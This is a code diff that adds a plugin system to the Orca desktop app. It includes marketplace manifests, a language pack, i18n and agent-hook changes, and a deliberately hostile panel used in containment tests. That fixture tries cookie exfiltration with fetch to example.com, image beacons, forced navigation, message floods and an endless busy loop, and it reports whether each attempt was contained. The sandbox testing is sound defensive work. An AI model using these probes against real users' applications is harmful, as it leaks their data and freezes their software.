color: var(--muted-foreground, #999);
white-space: pre-wrap;
}
</style>
</head>
<body>
<h1>Hello Orca 👋</h1>
<p>Panel + worker command + events, gated by consent.</p>
<button id="ctx">Read workspace context</button>
<select id="terms" hidden></select>
<button id="send" hidden>Type "echo hi from plugin" into selected terminal</button>
<button id="notify">Show a notification</button>
<p class="status" id="status"></p>
<script>
'use strict'
var seq = 0
var pending = {}
var statusEl = document.getElementById('status')
var termsEl = document.getElementById('terms')
function call(action, params) {
return new Promise(function (resolve) {
var requestId = 'req-' + ++seq
pending[requestId] = resolve
// The panel frame is an opaque origin, so '*' is the only usable
// targetOrigin; the host verifies the sending window instead.
window.parent.postMessage(
{ type: 'orca-panel-action', requestId: requestId, action: action, params: params },
'*'
)
})
}
window.addEventListener('message', function (event) {
var data = event.data
if (!data || data.type !== 'orca-panel-action-result') return
var resolve = pending[data.requestId]
if (!resolve) return
delete pending[data.requestId]
resolve(data)
})
document.getElementById('ctx').addEventListener('click', function () {
call('workspace.readContext').then(function (result) {
if (!result.ok) {
statusEl.textContent = 'context failed: ' + (result.error || result.errorCode)
return
}
if (!result.value) {
statusEl.textContent = 'no focused worktree'
return
}
statusEl.textContent = result.value.displayName + ' on branch ' + result.value.branch
termsEl.innerHTML = ''
result.value.terminals.forEach(function (terminal) {
var option = document.createElement('option')
option.value = terminal.id
option.textContent = terminal.id
termsEl.appendChild(option)
})
termsEl.hidden = result.value.terminals.length === 0
document.getElementById('send').hidden = result.value.terminals.length === 0
})
})
document.getElementById('send').addEventListener('click', function () {
// Explicit terminal id — the API has no "active terminal" target.
call('terminal.sendText', {
terminalId: termsEl.value,
text: 'echo hi from plugin',
enter: true
}).then(function (result) {
statusEl.textContent = result.ok
? 'typed (accepted=' + result.value.accepted + ')'
: 'send failed: ' + (result.error || result.errorCode)
})
})
document.getElementById('notify').addEventListener('click', function () {
call('notifications.show', { title: 'Hello from the panel' }).then(function (result) {
statusEl.textContent = result.ok
? 'notification delivered=' + result.value.delivered
: 'notify failed: ' + (result.error || result.errorCode)
})
})
</script>
</body>
</html>

View File

@ -0,0 +1,16 @@
{
"manifestVersion": 1,
"id": "hostile-panel",
"publisher": "orca-samples",
"name": "Hostile Panel (security fixture)",
"version": "1.0.0",
"description": "Deliberately hostile panel used by the plugin containment tests: exfiltration, navigation, message floods, busy loops. Never grant it anything.",
"engines": { "orca": ">=1.4.0" },
"pluginApi": 1,
"contributes": {
"panels": [
{ "id": "hostile", "title": "Hostile Fixture", "icon": "bug", "entry": "panel.html" }
]
},
"capabilities": []
}

View File

@ -0,0 +1,206 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<!-- Security test fixture: every attempt below MUST be contained by the
host-injected CSP, the iframe sandbox, and the bridge budgets. Each
probe reports pass/fail into the DOM so the containment run is
directly observable in the panel. -->
</head>
<body>
<h1>Hostile panel fixture</h1>
<ul id="results"></ul>
<button id="bridge">Run bridge budget probes</button>
<button id="navigate-top">Try top navigation</button>
<button id="navigate-self">Try self navigation</button>
<button id="navigate-anchor-form">Try anchor and form navigation</button>
<button id="navigate-meta">Try meta refresh navigation</button>
<button id="busy">Enter busy loop (watchdog probe)</button>
<script>
'use strict'
// The main-process guard must bind the frame before plugin parsing.
window.name = ''
var results = document.getElementById('results')
function report(name, contained, detail) {
if (document.querySelector('[data-probe="' + name + '"]')) return
var li = document.createElement('li')
li.dataset.probe = name
li.dataset.contained = contained ? 'true' : 'false'
li.textContent =
name + ': ' + (contained ? 'CONTAINED' : 'ESCAPED') + (detail ? ' — ' + detail : '')
results.appendChild(li)
document.title = 'probes:' + results.children.length
}
// Probe 1: fetch() exfiltration — must be blocked by connect-src 'none'.
var cookieValue = 'x'
try {
cookieValue = document.cookie || 'x'
} catch (_) {
// Opaque-origin frames may reject cookie access before CSP runs.
}
fetch('https://example.com/exfil?d=' + encodeURIComponent(cookieValue))
.then(function () {
report('fetch-exfil', false, 'request succeeded')
})
.catch(function () {
report('fetch-exfil', true)
})
// Probe 2: <img> beacon — must be blocked by img-src data: only.
var img = new Image()
var settled = false
img.onload = function () {
if (!settled) {
settled = true
report('img-beacon', false, 'image loaded')
}
}
img.onerror = function () {
if (!settled) {
settled = true
report('img-beacon', true)
}
}
img.src = 'https://example.com/beacon.gif'
setTimeout(function () {
if (!settled) {
settled = true
report('img-beacon', true, 'no load event')
}
}, 3000)
// Navigation probes are opt-in so a failed attempt cannot erase the
// network and bridge evidence before the harness observes it.
document.getElementById('navigate-top').addEventListener('click', function () {
try {
window.top.location.href = 'https://example.com/'
setTimeout(function () {
report('top-navigation', window.top !== window)
}, 0)
} catch (error) {
report('top-navigation', true, error.name)
}
})
document.getElementById('navigate-self').addEventListener('click', function () {
try {
window.location.href = 'https://example.com/self-navigation'
setTimeout(function () {
report('self-navigation', true)
}, 0)
} catch (error) {
report('self-navigation', true, error.name)
}
})
document.getElementById('navigate-anchor-form').addEventListener('click', function () {
var anchor = document.createElement('a')
anchor.href = 'https://example.com/anchor-navigation'
anchor.textContent = 'Navigation probe'
document.body.appendChild(anchor)
anchor.click()
var form = document.createElement('form')
form.action = 'https://example.com/form-navigation'
document.body.appendChild(form)
form.requestSubmit()
setTimeout(function () {
report('anchor-form-navigation', true)
}, 0)
})
document.getElementById('navigate-meta').addEventListener('click', function () {
var refresh = document.createElement('meta')
refresh.httpEquiv = 'refresh'
refresh.content = '0;url=https://example.com/meta-refresh'
document.head.appendChild(refresh)
setTimeout(function () {
report('meta-refresh-navigation', true)
}, 0)
})
// Probe 7: an oversized valid-looking call must receive a real refusal.
window.addEventListener('message', function (event) {
var data = event.data
if (event.source !== window.parent || !data || data.type !== 'orca-panel-action-result') {
return
}
if (data.requestId === 'oversized-probe') {
report(
'oversized-message',
!data.ok && data.errorCode === 'invalid_request',
data.errorCode || 'unexpected success'
)
}
if (data.requestId === 'flood-result') {
report(
'message-flood',
!data.ok && data.errorCode === 'rate_limited',
data.errorCode || 'unexpected success'
)
}
})
document.getElementById('bridge').addEventListener('click', function () {
window.parent.postMessage(
{
type: 'orca-panel-action',
requestId: 'oversized-probe',
action: 'workspace.readContext',
params: { padding: 'x'.repeat(128 * 1024) }
},
'*'
)
setTimeout(function () {
report('oversized-message', false, 'host sent no refusal')
}, 2000)
// Probe 8: invalid, pong, and binary floods must all spend rate budget
// before parsing; the final valid call is the observable oracle.
setTimeout(function () {
for (var i = 0; i < 40; i++) {
var payload =
i % 3 === 0
? { type: 'orca-panel-pong', pingId: i }
: i % 3 === 1
? { type: 'invalid-hostile-message', sequence: i }
: new Uint8Array(2048)
window.parent.postMessage(payload, '*')
}
window.parent.postMessage(
{
type: 'orca-panel-action',
requestId: 'flood-result',
action: 'workspace.readContext',
params: {}
},
'*'
)
setTimeout(function () {
report('message-flood', false, 'host sent no rate-limit refusal')
}, 2000)
}, 150)
})
// Probe 9: opt-in busy loop. The watchdog should demote the panel while
// Chromium keeps the sandboxed frame in its isolated renderer process.
function enterBusyLoop() {
report('busy-loop', true, 'watchdog should suspend this panel')
while (true) {
// Deliberately hostile fixture.
}
}
document.getElementById('busy').addEventListener('click', enterBusyLoop)
window.addEventListener('message', function (event) {
if (
event.source === window.parent &&
event.data &&
event.data.type === 'orca-hostile-busy-probe'
) {
enterBusyLoop()
}
})
</script>
</body>
</html>

View File

@ -0,0 +1,10 @@
{
"version": 1,
"plugins": [
{
"pluginKey": "stablyai.orca-navigation-shortcuts",
"path": "stablyai.orca-navigation-shortcuts",
"contentHash": "ce3a146bae9e121a18cb86a710973422be749a25da5a1c21a8911e2e98cc3a77"
}
]
}

View File

@ -0,0 +1,36 @@
{
"name": "Orca Official Plugins",
"owner": "stablyai",
"plugins": [
{
"id": "stablyai.orca-portuguese",
"source": {
"kind": "git",
"url": "https://github.com/stablyai/orca-portuguese.git",
"ref": "v1.0.0"
},
"description": "Brazilian Portuguese translations for common Orca navigation.",
"categories": ["languages", "official"]
},
{
"id": "stablyai.orca-multipass-recipes",
"source": {
"kind": "git",
"url": "https://github.com/stablyai/orca-multipass-recipes.git",
"ref": "v1.0.0"
},
"description": "A reviewed starter lifecycle for disposable Multipass workspaces.",
"categories": ["vm-recipes", "official"]
},
{
"id": "stablyai.orca-navigation-shortcuts",
"source": {
"kind": "git",
"url": "https://github.com/stablyai/orca-navigation-shortcuts.git",
"ref": "v1.0.0"
},
"description": "Command aliases and optional shortcuts for frequent Orca views.",
"categories": ["keybindings", "official"]
}
]
}

View File

@ -0,0 +1,15 @@
{
"manifestVersion": 1,
"id": "orca-multipass-recipes",
"publisher": "stablyai",
"name": "Multipass VM Recipes",
"version": "1.0.0",
"description": "A reviewed starter lifecycle for disposable Multipass workspaces.",
"repository": "https://github.com/stablyai/orca-multipass-recipes",
"engines": { "orca": ">=1.4.0" },
"pluginApi": 1,
"contributes": {
"vmRecipes": [{ "path": "recipes/ubuntu-lts.json" }]
},
"capabilities": []
}

View File

@ -0,0 +1,10 @@
{
"schemaVersion": 1,
"id": "multipass-ubuntu-lts",
"name": "Multipass Ubuntu LTS",
"description": "Creates a four-CPU disposable Ubuntu workspace with Multipass.",
"create": "multipass launch 24.04 --name \"$ORCA_VM_NAME\" --cpus 4 --memory 8G --disk 40G",
"suspend": "multipass suspend \"$ORCA_VM_NAME\"",
"resume": "multipass start \"$ORCA_VM_NAME\"",
"destroy": "multipass delete \"$ORCA_VM_NAME\" --purge"
}

View File

@ -0,0 +1,34 @@
{
"manifestVersion": 1,
"id": "orca-navigation-shortcuts",
"publisher": "stablyai",
"name": "Orca Navigation Shortcuts",
"version": "1.0.0",
"description": "Command aliases and optional shortcuts for frequent Orca views.",
"repository": "https://github.com/stablyai/orca-navigation-shortcuts",
"engines": { "orca": ">=1.4.0" },
"pluginApi": 1,
"contributes": {
"commands": [
{ "id": "open-tasks", "title": "Open Tasks", "context": "global", "action": "view.tasks" },
{
"id": "toggle-search",
"title": "Toggle Search",
"context": "global",
"action": "sidebar.search.toggle"
},
{
"id": "toggle-source-control",
"title": "Toggle Source Control",
"context": "global",
"action": "sidebar.sourceControl.toggle"
}
],
"keybindings": [
{ "command": "open-tasks", "key": "Mod+Alt+T", "when": "global" },
{ "command": "toggle-search", "key": "Mod+Alt+F", "when": "global" },
{ "command": "toggle-source-control", "key": "Mod+Alt+G", "when": "global" }
]
},
"capabilities": []
}

View File

@ -0,0 +1,36 @@
{
"settings": {
"appearance": {
"language": {
"title": "Idioma",
"description": "Escolha o idioma usado na interface do Orca.",
"system": "Sistema",
"english": "Inglês",
"chinese": "Chinês simplificado",
"korean": "Coreano",
"japanese": "Japonês",
"spanish": "Espanhol"
}
}
},
"menu": {
"checkForUpdates": "Verificar atualizações...",
"settings": "Configurações",
"file": "Arquivo",
"exit": "Sair",
"edit": "Editar",
"appearance": "Aparência",
"view": "Visualizar",
"reload": "Recarregar",
"window": "Janela",
"help": "Ajuda",
"paste": "Colar"
},
"tray": {
"openOrca": "Abrir o Orca",
"quit": "Encerrar",
"minimizeNotice": {
"body": "O Orca continua em execução na bandeja do sistema"
}
}
}

View File

@ -0,0 +1,15 @@
{
"manifestVersion": 1,
"id": "orca-portuguese",
"publisher": "stablyai",
"name": "Português do Brasil",
"version": "1.0.0",
"description": "Brazilian Portuguese translations for common Orca navigation.",
"repository": "https://github.com/stablyai/orca-portuguese",
"engines": { "orca": ">=1.4.0" },
"pluginApi": 1,
"contributes": {
"languagePacks": [{ "locale": "pt-BR", "path": "locales/pt-BR.json" }]
},
"capabilities": []
}

View File

@ -7083,6 +7083,38 @@ describe('AgentHookServer ingestRemote', () => {
}
})
it('fans a Pi session-only status out to plugins, not just the renderer', () => {
const server = new AgentHookServer()
const rendererListener = vi.fn()
const pluginListener = vi.fn()
server.setListener(rendererListener)
server.subscribeEnrichedStatus(pluginListener)
server.ingestRemote(
{
paneKey: PANE,
tabId: 'tab-1',
worktreeId: 'wt-1',
providerSession: {
key: 'session_id',
id: 'pi-session-1',
transcriptPath: '/tmp/pi-session-1.jsonl'
},
providerSessionOnly: true,
payload: { state: 'done', prompt: '', agentType: 'pi' }
},
'conn-1'
)
// The session-only path returns early, so it must not skip the plugin tap.
expect(rendererListener).toHaveBeenCalledWith(
expect.objectContaining({ paneKey: PANE, providerSessionOnly: true })
)
expect(pluginListener).toHaveBeenCalledWith(
expect.objectContaining({ paneKey: PANE, providerSessionOnly: true })
)
})
it('rejects invalid remote metadata-only session envelopes', () => {
const server = new AgentHookServer()
const listener = vi.fn()

View File

@ -465,6 +465,10 @@ export class AgentHookServer {
private onPaneStatusCleared: PaneStatusClearListener | null = null
private statusChangeListeners = new Set<StatusChangeListener>()
private providerSessionChangeListeners = new Set<ProviderSessionChangeListener>()
// Why: setListener is a single slot owned by the main-window fanout; the
// plugin event bus (and future consumers) need an additive subscription
// that also works in headless serve, where no window listener exists.
private enrichedStatusListeners = new Set<(payload: EnrichedAgentHookEventPayload) => void>()
// Why: set via start()'s userDataPath so the class has no direct Electron dependency (mockable in vitest node env).
private endpointDir: string | null = null
private endpointFilePathCache: string | null = null
@ -525,6 +529,14 @@ export class AgentHookServer {
}
}
/** Multi-subscriber tap on every enriched status change (no replay). */
subscribeEnrichedStatus(listener: (payload: EnrichedAgentHookEventPayload) => void): () => void {
this.enrichedStatusListeners.add(listener)
return () => {
this.enrichedStatusListeners.delete(listener)
}
}
setPaneStatusClearListener(listener: PaneStatusClearListener | null): void {
this.onPaneStatusCleared = listener
}
@ -890,7 +902,7 @@ export class AgentHookServer {
this.state.lastStatusByPaneKey.set(enriched.paneKey, enriched)
this.scheduleStatusPersist()
this.notifyStatusChangeListeners()
this.onAgentStatus?.(enriched)
this.emitEnrichedStatus(enriched)
return enriched
}
const stateReconciledPayload =
@ -1002,10 +1014,23 @@ export class AgentHookServer {
this.state.lastStatusByPaneKey.set(enriched.paneKey, enriched)
this.scheduleStatusPersist()
this.notifyStatusChangeListeners()
this.onAgentStatus?.(enriched)
this.emitEnrichedStatus(enriched)
return enriched
}
// Why: every status emit must reach plugins too, so a new early-return path
// upstream cannot silently leave the plugin tap behind the main-window fanout.
private emitEnrichedStatus(enriched: EnrichedAgentHookEventPayload): void {
this.onAgentStatus?.(enriched)
for (const listener of this.enrichedStatusListeners) {
try {
listener(enriched)
} catch (err) {
console.error('[agent-hooks] enriched status listener threw', err)
}
}
}
private clearAssistantMessageRetry(paneKey: string): void {
const timer = this.assistantMessageRetryTimers.get(paneKey)
if (!timer) {

View File

@ -140,6 +140,10 @@ function createSettings(overrides: TestSettingsOverrides = {}): GlobalSettings {
terminalScopeHistoryByWorktree: true,
defaultTuiAgent: null,
disabledTuiAgents: [],
pluginSystemEnabled: false,
disabledPlugins: [],
pluginConsents: {},
devPluginPaths: [],
skipDeleteWorktreeConfirm: false,
skipCloseTerminalWithRunningProcessConfirm: false,
skipDeleteAutomationConfirm: false,

View File

@ -148,6 +148,10 @@ function createSettings(overrides: TestSettingsOverrides = {}): GlobalSettings {
terminalScopeHistoryByWorktree: true,
defaultTuiAgent: null,
disabledTuiAgents: [],
pluginSystemEnabled: false,
disabledPlugins: [],
pluginConsents: {},
devPluginPaths: [],
skipDeleteWorktreeConfirm: false,
skipCloseTerminalWithRunningProcessConfirm: false,
skipDeleteAutomationConfirm: false,

View File

@ -83,6 +83,9 @@ describe('ephemeral VM runtime service', () => {
const recipe: OrcaVmRecipe = {
id: 'cloud-sandbox',
name: 'Cloud Sandbox',
// Repo-owned recipes predate plugin bounds; snapshotting must not fail
// after create has already provisioned external resources.
description: 'x'.repeat(2_048),
create: nodeCommand(startPath),
destroy: nodeCommand(cleanupPath)
}
@ -104,6 +107,7 @@ describe('ephemeral VM runtime service', () => {
expect(provisioned.runtime).toMatchObject({
id: provisioned.start.context.instanceId,
recipeId: 'cloud-sandbox',
recipe,
repoId: 'repo-1',
projectId: 'project-1',
workspaceName: 'Fix Login Race',

View File

@ -120,6 +120,7 @@ export async function provisionEphemeralVmRuntime(
const runtime = upsertEphemeralVmRuntime(args.userDataPath, {
id: start.context.instanceId ?? start.context.recipeId,
recipeId: args.recipe.id,
recipe: args.recipe,
...(args.repoId ? { repoId: args.repoId } : {}),
...(args.projectId ? { projectId: args.projectId } : {}),
...(args.workspaceId ? { workspaceId: args.workspaceId } : {}),

View File

@ -17,11 +17,18 @@ import {
UI_LANGUAGE_KOREAN,
UI_LANGUAGE_SPANISH
} from '../../shared/ui-language'
import { ensureMainI18n, setMainUiLanguage, translateMain } from './main-i18n'
import {
ensureMainI18n,
setMainPluginLanguagePacks,
setMainUiLanguage,
translateMain
} from './main-i18n'
import { pluginLanguageResourceId } from '../../shared/plugins/plugin-language-pack-artifact'
describe('main-i18n lazy locale loading', () => {
beforeEach(async () => {
await ensureMainI18n()
setMainPluginLanguagePacks([])
await setMainUiLanguage(UI_LANGUAGE_ENGLISH)
})
@ -58,4 +65,24 @@ describe('main-i18n lazy locale loading', () => {
await setMainUiLanguage(UI_LANGUAGE_ENGLISH)
expect(translateMain('menu.file', 'File')).toBe('File')
})
it('loads a contributed catalog for native menus and dialogs', async () => {
const id = 'plugin:orca-samples.portuguese/pt-BR' as const
setMainPluginLanguagePacks([
{
id,
resourceLanguage: pluginLanguageResourceId(id),
pluginKey: 'orca-samples.portuguese',
locale: 'pt-BR',
catalog: { menu: { file: 'Arquivo Orca' } }
}
])
await setMainUiLanguage(id)
expect(translateMain('menu.file', 'File')).toBe('Arquivo Orca')
setMainPluginLanguagePacks([])
expect(await setMainUiLanguage(id)).toBe('en')
expect(translateMain('menu.file', 'File')).toBe('File')
})
})

View File

@ -9,10 +9,13 @@ import i18next, {
import { isPseudoLocalizationLocale, pseudoLocalizeString } from '../../shared/pseudo-localization'
import { DEFAULT_UI_LOCALE, resolveUiLocale, type SupportedUiLocale } from '../../shared/ui-locale'
import { UI_LANGUAGE_SYSTEM, type UiLanguage } from '../../shared/ui-language'
import type { PluginLanguagePackRegistration } from '../../shared/plugins/plugin-language-pack-artifact'
export const mainI18n: I18nInstance = i18next.createInstance()
let initialized = false
let pluginLanguagePacks: readonly PluginLanguagePackRegistration[] = []
const registeredPluginLanguages = new Set<string>()
// Why: main-process callers pass English fallbacks to translateMain(), so the
// main bundle does not need to parse any locale catalog at cold start. Only
@ -72,16 +75,20 @@ export async function ensureMainI18n(): Promise<I18nInstance> {
}
})
initialized = true
applyMainPluginLanguagePacks()
}
return mainI18n
}
export async function setMainUiLanguage(language: UiLanguage): Promise<SupportedUiLocale> {
export async function setMainUiLanguage(language: UiLanguage): Promise<string> {
await ensureMainI18n()
const locale = resolveUiLocale(
const selectedLocale = resolveUiLocale(
language,
language === UI_LANGUAGE_SYSTEM ? getMainSystemLocale() : DEFAULT_UI_LOCALE
)
const locale =
pluginLanguagePacks.find((pack) => pack.id === selectedLocale)?.resourceLanguage ??
(selectedLocale.startsWith('plugin:') ? DEFAULT_UI_LOCALE : selectedLocale)
if (mainI18n.language !== locale) {
// changeLanguage triggers the lazy backend load for non-English locales and
// resolves once the catalog is in memory, so callers that await this have
@ -91,6 +98,30 @@ export async function setMainUiLanguage(language: UiLanguage): Promise<Supported
return locale
}
function applyMainPluginLanguagePacks(): void {
for (const language of registeredPluginLanguages) {
mainI18n.removeResourceBundle(language, 'translation')
}
registeredPluginLanguages.clear()
for (const pack of pluginLanguagePacks) {
mainI18n.addResourceBundle(pack.resourceLanguage, 'translation', pack.catalog, true, true)
registeredPluginLanguages.add(pack.resourceLanguage)
}
}
export function setMainPluginLanguagePacks(
packs: readonly PluginLanguagePackRegistration[]
): boolean {
if (pluginLanguagePacks === packs) {
return false
}
pluginLanguagePacks = packs
if (initialized) {
applyMainPluginLanguagePacks()
}
return true
}
export function translateMain(key: string, fallback: string, options?: TOptions): string {
// Why: menu registration can run before async init finishes in tests; fall back
// to the English default instead of returning undefined from an uninitialized i18n.

View File

@ -39,7 +39,7 @@ import { initCohortClassifier } from './telemetry/cohort-classifier'
import { initOnboardingCohortClassifier } from './telemetry/onboarding-cohort-classifier'
import { resolveConsent } from './telemetry/consent'
import { triggerStartupNotificationRegistration } from './ipc/notifications'
import { OrcaRuntimeService } from './runtime/orca-runtime'
import { OrcaRuntimeService, type RuntimeWorktreeLifecycleEvent } from './runtime/orca-runtime'
import { loadAgentSessionClaimSigner } from './runtime/agent-session-claim-identity'
import { OrcaRuntimeRpcServer } from './runtime/runtime-rpc'
import { resolveAdvertisedPairingEndpoint } from './runtime/pairing-endpoint'
@ -49,7 +49,7 @@ import { DesktopRelayService } from './runtime/relay/desktop-relay-service'
import type { RelayBrokerStatus } from './runtime/relay/relay-session-broker'
import { awaitRuntimeFileWatcherUnsubscribes } from './runtime/orca-runtime-files'
import { clearRuntimeMetadataIfOwned } from './runtime/runtime-metadata'
import { ensureMainI18n, setMainUiLanguage } from './i18n/main-i18n'
import { ensureMainI18n, setMainPluginLanguagePacks, setMainUiLanguage } from './i18n/main-i18n'
import {
getNextDefaultOnAppearanceSettingValue,
registerAppMenu,
@ -218,6 +218,20 @@ import { buildHeadlessAutomationWorktreeCreateArgs } from './automations/headles
import { AgentAwakeService } from './agent-awake-service'
import { registerSystemResumeBroadcast } from './system-resume-broadcast'
import { settleTeardownWithinDeadline } from './quit-teardown-deadline'
import { PluginService } from './plugins/plugin-service'
import { PluginKillListService } from './plugins/plugin-kill-list-service'
import { getPluginsDataDir } from './plugins/plugin-discovery'
import { PluginMarketplaceService } from './plugins/plugin-marketplace-service'
import { PluginMarketplaceInstaller } from './plugins/plugin-marketplace-installer'
import { PluginBundledBootstrapCoordinator } from './plugins/plugin-bundled-bootstrap-coordinator'
import { resolveBundledPluginRoot } from './plugins/plugin-bundled-bootstrap'
import { resolvePluginHostEntryPath } from './plugins/plugin-host-process'
import { applyPluginConsent, applyPluginEnablement } from './plugins/plugin-enablement'
import { setPluginServiceForRpc } from './runtime/rpc/methods/plugins'
import {
normalizePluginConsents,
normalizePluginIdList
} from '../shared/plugins/plugin-consent-state'
import {
recordCoalescedCrashBreadcrumb,
recordCrashBreadcrumb
@ -286,7 +300,20 @@ let unsubscribeSystemResumeBroadcast: (() => void) | null = null
let watcherShutdownPromise: Promise<void> | null = null
let watcherShutdownDone = false
let automations: AutomationService | null = null
let pluginService: PluginService | null = null
let pluginKillListService: PluginKillListService | null = null
let pluginMarketplaceService: PluginMarketplaceService | null = null
let pluginMarketplaceInstaller: PluginMarketplaceInstaller | null = null
let keybindings: KeybindingService | null = null
function emitPluginWorktreeLifecycle(event: RuntimeWorktreeLifecycleEvent): void {
pluginService?.emitEvent(
event.kind === 'created' ? 'worktree.created' : 'worktree.removed',
event.kind === 'created'
? { worktreeId: event.worktreeId, path: event.path, branch: event.branch }
: { worktreeId: event.worktreeId, path: event.path }
)
}
// Why: a reload intent must not leak to a later load; the recovery reload re-fires did-finish-load, so its flag spares live PTYs from the orphan sweep (#5787).
const expectedRendererReload = createWebContentsTimedFlag()
const recoveryReloadInFlight = createWebContentsTimedFlag()
@ -1177,7 +1204,11 @@ function openMainWindow(): BrowserWindow {
},
onOrcaProfileAuthMutation: () => desktopRelayService?.authMutated(),
onBeforeOrcaProfileSignOut: () => desktopRelayService?.fenceAndCloseNow()
}
},
pluginService ?? undefined,
pluginMarketplaceService && pluginMarketplaceInstaller
? { marketplace: pluginMarketplaceService, installer: pluginMarketplaceInstaller }
: undefined
)
automations.setWebContents(window.webContents)
automations.start()
@ -1201,7 +1232,8 @@ function openMainWindow(): BrowserWindow {
isRecoveryReloadInFlight,
onBeforeUpdateQuit: () =>
preserveAgentAuthBeforeRestart({ codexRuntimeHome, claudeRuntimeAuth, store }),
updateInstallMode: resolveUpdateInstallMode(isServeMode)
updateInstallMode: resolveUpdateInstallMode(isServeMode),
onWorktreeLifecycle: emitPluginWorktreeLifecycle
}
)
rateLimits.attach(window)
@ -2229,6 +2261,137 @@ app.whenReady().then(async () => {
prepareForCodexLaunch: prepareCodexRuntimeHomeForLaunch,
prepareForClaudeLaunch: (target) => claudeRuntimeAuth!.prepareForClaudeLaunch(target)
})
const pluginSystemStartupStartedAt = performance.now()
pluginKillListService = new PluginKillListService({
pluginsDataDir: getPluginsDataDir(app.getPath('userData'))
})
await pluginKillListService.initialize()
pluginMarketplaceService = new PluginMarketplaceService({
pluginsDataDir: getPluginsDataDir(app.getPath('userData')),
getKillListEntry: (pluginKey) => pluginKillListService?.find(pluginKey) ?? null
})
const requestOfficialMarketplaceSeed = (): void => {
if (store?.getSettings().pluginSystemEnabled !== true) {
return
}
void pluginMarketplaceService?.seedOfficialSource().catch((error) => {
console.warn('[plugins] failed to configure the official marketplace:', error)
})
}
pluginMarketplaceInstaller = new PluginMarketplaceInstaller({
marketplace: pluginMarketplaceService,
userDataPath: app.getPath('userData'),
hostVersion: app.getVersion(),
blockedPluginReason: (pluginKey) => pluginKillListService?.reason(pluginKey) ?? null
})
pluginService = new PluginService({
userDataPath: app.getPath('userData'),
hostVersion: app.getVersion(),
// Feature flag: with the setting off, discovery returns nothing and no
// plugin code path runs at all.
isPluginSystemEnabled: () => store?.getSettings().pluginSystemEnabled === true,
getDisabledPlugins: () => normalizePluginIdList(store?.getSettings().disabledPlugins),
getPluginConsents: () => normalizePluginConsents(store?.getSettings().pluginConsents),
getDevPluginPaths: () => normalizePluginIdList(store?.getSettings().devPluginPaths),
getKeybindings: () => keybindings?.getOverrides() ?? {},
getPluginKillListEntry: (pluginKey) => pluginKillListService?.find(pluginKey) ?? null,
hostEntryPath: resolvePluginHostEntryPath(app.getAppPath(), app.isPackaged)
})
const bundledPluginBootstrap = new PluginBundledBootstrapCoordinator({
root: resolveBundledPluginRoot({
isPackaged: app.isPackaged,
resourcesPath: process.resourcesPath,
appPath: app.getAppPath()
}),
userDataPath: app.getPath('userData'),
hostVersion: app.getVersion(),
isEnabled: () => store?.getSettings().pluginSystemEnabled === true,
blockedPluginReason: (pluginKey) => pluginKillListService?.reason(pluginKey) ?? null,
refreshPlugins: () => pluginService?.refresh() ?? Promise.resolve()
})
const requestBundledPluginBootstrap = (): void => {
void bundledPluginBootstrap
.request()
.then((result) => {
for (const failure of result?.errors ?? []) {
console.warn(`[plugins] failed to publish bundled ${failure.pluginKey}:`, failure.error)
}
})
.catch((error) => {
console.warn('[plugins] failed to bootstrap bundled plugins:', error)
})
}
pluginKillListService.onChanged(() => {
void pluginService?.reconcileActivationState().catch((error) => {
console.warn('[plugins] failed to apply plugin safety-list refresh:', error)
})
})
store.onSettingsChanged((updates) => {
if (updates.pluginSystemEnabled === true) {
requestBundledPluginBootstrap()
requestOfficialMarketplaceSeed()
}
if (app.isPackaged && updates.pluginSystemEnabled === true) {
void pluginKillListService?.refresh().catch((error) => {
console.warn('[plugins] failed to refresh plugin safety list; using cached state:', error)
})
}
})
// Why: headless `orca serve` clients reach plugins through the runtime RPC
// methods, which resolve the service via this module-level setter. Consent
// over RPC uses the same hash-keyed write path as the desktop dialog.
setPluginServiceForRpc(pluginService, {
applyConsent: (request) =>
applyPluginConsent({ store: store!, pluginService: pluginService!, ...request }),
applyEnablement: (pluginKey, enabled) =>
applyPluginEnablement({ store: store!, pluginService: pluginService!, pluginKey, enabled })
})
// Lazy kernel: initialize() only discovers manifests — no worker forks, no
// panel reads. Zero plugin code runs before an explicit trigger.
void pluginService
.initialize()
.then(() => {
logStartupMilestone('plugin-system-initialized', {
durationMs: Number((performance.now() - pluginSystemStartupStartedAt).toFixed(2)),
installedPlugins: pluginService?.getDiscovered().length ?? 0
})
})
.catch((error) => {
console.warn('[plugins] failed to initialize plugin service:', error)
})
if (app.isPackaged && store?.getSettings().pluginSystemEnabled === true) {
void pluginKillListService.refresh().catch((error) => {
console.warn('[plugins] failed to refresh plugin safety list; using cached state:', error)
})
}
pluginService.onChanged((event) => {
if (
event.contentPacksChanged &&
setMainPluginLanguagePacks(pluginService?.contentPacks.languagePacks.list() ?? [])
) {
void setMainUiLanguage(store!.getSettings().uiLanguage).then(() => rebuildAppMenu())
}
for (const window of BrowserWindow.getAllWindows()) {
if (!window.isDestroyed()) {
window.webContents.send('plugins:changed', event)
}
}
})
requestBundledPluginBootstrap()
requestOfficialMarketplaceSeed()
// v0 plugin event seams: agent status (hook pipeline tap) + worktree
// lifecycle (runtime tap). Server-side filtered per plugin subscription.
agentHookServer.subscribeEnrichedStatus((enriched) => {
pluginService?.emitEvent('agent.status.changed', {
worktreeId: enriched.worktreeId ?? null,
paneKey: enriched.paneKey,
state: enriched.payload.state,
receivedAt: enriched.receivedAt
})
})
runtimeService.onWorktreeLifecycle((event) => {
emitPluginWorktreeLifecycle(event)
})
starNag = new StarNagService(store, stats)
starNag.start()
starNag.registerIpcHandlers()
@ -2577,6 +2740,16 @@ app.on('will-quit', (e) => {
// Why: stats.flush() must precede killAllPty() so still-running agents emit synthetic agent_stop events (killAllPty skips runtime.onPtyExit()).
starNag?.stop()
automations?.stop()
// Why: plugin hosts are forked children; dispose sends shutdown and
// escalates to SIGKILL so they cannot outlive the app. The promise joins
// the teardown barrier below — quitting before it resolves would let
// Electron exit first and orphan the hosts.
setPluginServiceForRpc(null)
pluginKillListService = null
pluginMarketplaceService = null
pluginMarketplaceInstaller = null
const pluginHostShutdown = pluginService?.dispose() ?? Promise.resolve()
pluginService = null
setUnreadDockBadgeCount(0)
agentHookServer.stop()
// Why: cancels relay restart/reinstall timers and kills wsl.exe children deterministically, not via stdio-pipe teardown.
@ -2623,7 +2796,8 @@ app.on('will-quit', (e) => {
{ name: 'daemon', promise: daemonTeardown },
{ name: 'runtime-rpc', promise: rpcStopAndClear },
{ name: 'watchers', promise: watcherShutdown },
{ name: 'emulator', promise: emulatorShutdown }
{ name: 'emulator', promise: emulatorShutdown },
{ name: 'plugin-hosts', promise: pluginHostShutdown }
])
.then((pendingTeardowns) => {
